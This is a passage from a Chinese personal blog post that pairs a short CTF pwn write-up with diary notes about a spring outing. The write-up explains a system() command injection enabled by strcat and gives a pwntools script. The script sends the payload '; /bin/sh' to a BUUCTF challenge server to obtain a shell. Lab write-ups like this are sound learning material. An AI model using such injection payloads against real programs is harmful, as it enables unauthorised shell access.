strcat(a,b) 函数用来将字符串 b 添加到 a 指向的地址存储的字符串后面。

知识点:linux下的命令机制,命令1+;+命令2 这样的格式两种指令都会执行

下面就是 system 命令,我们可以利用 ; 来分割dest 对应的未知命令和我们想要执行的 ' /bin/sh '

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

sh=remote('node5.buuoj.cn',25097)
elf=ELF('./pwn')

payload = b'; /bin/sh'

sh.recvuntil('Please input u choose:')
sh.sendline('1')

sh.sendline(payload)

sh.interactive()

一个周就干了这么多事

不过——

还去太子湾看了郁金香捏~

早起避开了早高峰,逛完太子湾才九点,就去美术馆看了艺术展(但看不懂

还有闺闺赞助小蛋糕和 Modifier 特调螺丝起子🍸

冰+橙汁+伏特加

伏门🫡


复健2.0
https://shmodifier.github.io/2024/03/24/复健2-0/
作者
Modifier
发布于
2024年3月24日
许可协议